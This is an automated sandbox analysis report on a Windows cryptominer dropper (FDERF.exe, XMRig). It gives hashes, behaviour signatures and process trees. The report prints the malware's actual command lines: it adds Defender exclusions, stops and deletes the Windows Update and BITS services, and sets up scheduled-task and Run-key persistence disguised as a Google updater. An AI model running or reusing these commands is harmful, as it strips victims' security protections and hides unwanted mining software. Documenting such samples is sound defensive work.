Analysis
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max time kernel
1802s -
max time network
1814s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
26-03-2023 17:31
Static task
static1
Behavioral task
behavioral1
Sample
NL/FDERF.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral2
Sample
NL/miDDner.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral3
Sample
NL/minDer.exe
Resource
win10v2004-20230220-en
Behavioral task
behavioral4
Sample
NL/miner.exe
Resource
win10v2004-20230220-en
General
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Target
NL/FDERF.exe
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Size
53.0MB
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MD5
5c4eecf00e9f6e0222c205c3dc327bb8
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SHA1
2188e4b277e214364804a4ffcef23017a769722f
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SHA256
2fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
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SHA512
0b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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SSDEEP
786432:rZxRmsqYJysNiakCKIqHMzvX67SvdZiF4QI7rR8pUvlQ6Pb:dqYJysNiakCKJHMzvX6ofQAKpUdQ6
Malware Config
Signatures
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Modifies security service 2 TTPs 5 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0 reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1 reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs
description pid Process procid_target PID 2088 created 3176 2088 FDERF.exe 55 PID 2088 created 3176 2088 FDERF.exe 55 PID 2088 created 3176 2088 FDERF.exe 55 PID 2088 created 3176 2088 FDERF.exe 55 PID 2088 created 3176 2088 FDERF.exe 55 PID 1800 created 3176 1800 updater.exe 55 PID 1800 created 3176 1800 updater.exe 55 PID 1800 created 3176 1800 updater.exe 55 PID 1800 created 3176 1800 updater.exe 55 PID 1800 created 3176 1800 updater.exe 55 PID 1800 created 3176 1800 updater.exe 55 PID 1196 created 3176 1196 conhost.exe 55 PID 1800 created 3176 1800 updater.exe 55 -
XMRig Miner payload 31 IoCs
resource yara_rule behavioral1/memory/4868-243-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-245-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-247-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-249-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-253-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-257-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-259-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-261-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-263-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-265-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-267-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-269-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-271-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-273-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-275-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-277-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-279-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-281-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-283-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-285-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-287-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-289-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-291-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-293-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-295-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-297-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-299-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-301-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-303-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-305-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig behavioral1/memory/4868-307-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp xmrig -
Stops running service(s) 3 TTPs
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Executes dropped EXE 1 IoCs
pid Process 1800 updater.exe -
resource yara_rule behavioral1/memory/4868-243-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-245-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-247-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-249-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-253-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-257-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-259-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-261-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-263-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-265-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-267-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-269-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-271-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-273-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-275-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-277-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-279-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-281-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-283-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-285-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-287-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-289-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-291-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-293-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-295-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-297-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-299-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-301-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-303-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-305-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx behavioral1/memory/4868-307-0x00007FF7B1050000-0x00007FF7B1844000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1800 set thread context of 1196 1800 updater.exe 133 PID 1800 set thread context of 4868 1800 updater.exe 139 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe FDERF.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Launches sc.exe 11 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1836 sc.exe 1680 sc.exe 3872 sc.exe 4700 sc.exe 3692 sc.exe 4028 sc.exe 3988 sc.exe 1880 sc.exe 4120 sc.exe 1728 sc.exe 4780 sc.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe -
Suspicious behavior: EnumeratesProcesses 36 IoCs
pid Process 2088 FDERF.exe 2088 FDERF.exe 2676 powershell.exe 2676 powershell.exe 2088 FDERF.exe 2088 FDERF.exe 2088 FDERF.exe 2088 FDERF.exe 2088 FDERF.exe 2088 FDERF.exe 2568 powershell.exe 2568 powershell.exe 2088 FDERF.exe 2088 FDERF.exe 5056 powershell.exe 5056 powershell.exe 1800 updater.exe 1800 updater.exe 4212 powershell.exe 4212 powershell.exe 1800 updater.exe 1800 updater.exe 1800 updater.exe 1800 updater.exe 1800 updater.exe 1800 updater.exe 4440 powershell.exe 4440 powershell.exe 1800 updater.exe 1800 updater.exe 1800 updater.exe 1800 updater.exe 1196 conhost.exe 1196 conhost.exe 1800 updater.exe 1800 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 652 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2676 powershell.exe Token: SeShutdownPrivilege 2256 powercfg.exe Token: SeCreatePagefilePrivilege 2256 powercfg.exe Token: SeDebugPrivilege 2568 powershell.exe Token: SeShutdownPrivilege 4060 powercfg.exe Token: SeCreatePagefilePrivilege 4060 powercfg.exe Token: SeShutdownPrivilege 4868 powercfg.exe Token: SeCreatePagefilePrivilege 4868 powercfg.exe Token: SeShutdownPrivilege 3228 powercfg.exe Token: SeCreatePagefilePrivilege 3228 powercfg.exe Token: SeIncreaseQuotaPrivilege 2568 powershell.exe Token: SeSecurityPrivilege 2568 powershell.exe Token: SeTakeOwnershipPrivilege 2568 powershell.exe Token: SeLoadDriverPrivilege 2568 powershell.exe Token: SeSystemProfilePrivilege 2568 powershell.exe Token: SeSystemtimePrivilege 2568 powershell.exe Token: SeProfSingleProcessPrivilege 2568 powershell.exe Token: SeIncBasePriorityPrivilege 2568 powershell.exe Token: SeCreatePagefilePrivilege 2568 powershell.exe Token: SeBackupPrivilege 2568 powershell.exe Token: SeRestorePrivilege 2568 powershell.exe Token: SeShutdownPrivilege 2568 powershell.exe Token: SeDebugPrivilege 2568 powershell.exe Token: SeSystemEnvironmentPrivilege 2568 powershell.exe Token: SeRemoteShutdownPrivilege 2568 powershell.exe Token: SeUndockPrivilege 2568 powershell.exe Token: SeManageVolumePrivilege 2568 powershell.exe Token: 33 2568 powershell.exe Token: 34 2568 powershell.exe Token: 35 2568 powershell.exe Token: 36 2568 powershell.exe Token: SeIncreaseQuotaPrivilege 2568 powershell.exe Token: SeSecurityPrivilege 2568 powershell.exe Token: SeTakeOwnershipPrivilege 2568 powershell.exe Token: SeLoadDriverPrivilege 2568 powershell.exe Token: SeSystemProfilePrivilege 2568 powershell.exe Token: SeSystemtimePrivilege 2568 powershell.exe Token: SeProfSingleProcessPrivilege 2568 powershell.exe Token: SeIncBasePriorityPrivilege 2568 powershell.exe Token: SeCreatePagefilePrivilege 2568 powershell.exe Token: SeBackupPrivilege 2568 powershell.exe Token: SeRestorePrivilege 2568 powershell.exe Token: SeShutdownPrivilege 2568 powershell.exe Token: SeDebugPrivilege 2568 powershell.exe Token: SeSystemEnvironmentPrivilege 2568 powershell.exe Token: SeRemoteShutdownPrivilege 2568 powershell.exe Token: SeUndockPrivilege 2568 powershell.exe Token: SeManageVolumePrivilege 2568 powershell.exe Token: 33 2568 powershell.exe Token: 34 2568 powershell.exe Token: 35 2568 powershell.exe Token: 36 2568 powershell.exe Token: SeIncreaseQuotaPrivilege 2568 powershell.exe Token: SeSecurityPrivilege 2568 powershell.exe Token: SeTakeOwnershipPrivilege 2568 powershell.exe Token: SeLoadDriverPrivilege 2568 powershell.exe Token: SeSystemProfilePrivilege 2568 powershell.exe Token: SeSystemtimePrivilege 2568 powershell.exe Token: SeProfSingleProcessPrivilege 2568 powershell.exe Token: SeIncBasePriorityPrivilege 2568 powershell.exe Token: SeCreatePagefilePrivilege 2568 powershell.exe Token: SeBackupPrivilege 2568 powershell.exe Token: SeRestorePrivilege 2568 powershell.exe Token: SeShutdownPrivilege 2568 powershell.exe -
Suspicious use of WriteProcessMemory 62 IoCs
description pid Process procid_target PID 2084 wrote to memory of 3692 2084 cmd.exe 93 PID 2084 wrote to memory of 3692 2084 cmd.exe 93 PID 1892 wrote to memory of 2256 1892 cmd.exe 94 PID 1892 wrote to memory of 2256 1892 cmd.exe 94 PID 2084 wrote to memory of 1836 2084 cmd.exe 95 PID 2084 wrote to memory of 1836 2084 cmd.exe 95 PID 1892 wrote to memory of 4060 1892 cmd.exe 96 PID 1892 wrote to memory of 4060 1892 cmd.exe 96 PID 2084 wrote to memory of 4028 2084 cmd.exe 97 PID 2084 wrote to memory of 4028 2084 cmd.exe 97 PID 1892 wrote to memory of 4868 1892 cmd.exe 98 PID 1892 wrote to memory of 4868 1892 cmd.exe 98 PID 1892 wrote to memory of 3228 1892 cmd.exe 100 PID 1892 wrote to memory of 3228 1892 cmd.exe 100 PID 2084 wrote to memory of 1680 2084 cmd.exe 99 PID 2084 wrote to memory of 1680 2084 cmd.exe 99 PID 2084 wrote to memory of 3872 2084 cmd.exe 101 PID 2084 wrote to memory of 3872 2084 cmd.exe 101 PID 2084 wrote to memory of 3464 2084 cmd.exe 102 PID 2084 wrote to memory of 3464 2084 cmd.exe 102 PID 2084 wrote to memory of 4640 2084 cmd.exe 103 PID 2084 wrote to memory of 4640 2084 cmd.exe 103 PID 2084 wrote to memory of 3536 2084 cmd.exe 104 PID 2084 wrote to memory of 3536 2084 cmd.exe 104 PID 2084 wrote to memory of 756 2084 cmd.exe 105 PID 2084 wrote to memory of 756 2084 cmd.exe 105 PID 2084 wrote to memory of 368 2084 cmd.exe 106 PID 2084 wrote to memory of 368 2084 cmd.exe 106 PID 5056 wrote to memory of 1596 5056 powershell.exe 109 PID 5056 wrote to memory of 1596 5056 powershell.exe 109 PID 1132 wrote to memory of 3988 1132 cmd.exe 117 PID 1132 wrote to memory of 3988 1132 cmd.exe 117 PID 1132 wrote to memory of 1880 1132 cmd.exe 119 PID 1132 wrote to memory of 1880 1132 cmd.exe 119 PID 4540 wrote to memory of 4756 4540 cmd.exe 120 PID 4540 wrote to memory of 4756 4540 cmd.exe 120 PID 1132 wrote to memory of 4120 1132 cmd.exe 121 PID 1132 wrote to memory of 4120 1132 cmd.exe 121 PID 1132 wrote to memory of 1728 1132 cmd.exe 122 PID 1132 wrote to memory of 1728 1132 cmd.exe 122 PID 1132 wrote to memory of 4700 1132 cmd.exe 123 PID 1132 wrote to memory of 4700 1132 cmd.exe 123 PID 1132 wrote to memory of 2784 1132 cmd.exe 126 PID 1132 wrote to memory of 2784 1132 cmd.exe 126 PID 4540 wrote to memory of 4852 4540 cmd.exe 125 PID 4540 wrote to memory of 4852 4540 cmd.exe 125 PID 1132 wrote to memory of 4680 1132 cmd.exe 124 PID 1132 wrote to memory of 4680 1132 cmd.exe 124 PID 1132 wrote to memory of 1600 1132 cmd.exe 127 PID 1132 wrote to memory of 1600 1132 cmd.exe 127 PID 4540 wrote to memory of 4488 4540 cmd.exe 128 PID 4540 wrote to memory of 4488 4540 cmd.exe 128 PID 1132 wrote to memory of 1036 1132 cmd.exe 129 PID 1132 wrote to memory of 1036 1132 cmd.exe 129 PID 1132 wrote to memory of 4928 1132 cmd.exe 131 PID 1132 wrote to memory of 4928 1132 cmd.exe 131 PID 4540 wrote to memory of 396 4540 cmd.exe 132 PID 4540 wrote to memory of 396 4540 cmd.exe 132 PID 1800 wrote to memory of 1196 1800 updater.exe 133 PID 1292 wrote to memory of 1000 1292 cmd.exe 138 PID 1292 wrote to memory of 1000 1292 cmd.exe 138 PID 1800 wrote to memory of 4868 1800 updater.exe 139 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3176
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C:\Users\Admin\AppData\Local\Temp\NL\FDERF.exe"C:\Users\Admin\AppData\Local\Temp\NL\FDERF.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2088
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2676
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:3692
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1836
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:4028
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1680
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:3872
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3464
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4640
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:3536
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:756
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:368
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hpfjuzary#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2568
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:1892 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:2256
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4060
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:4868
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:3228
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#jcugcwsbl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:1596
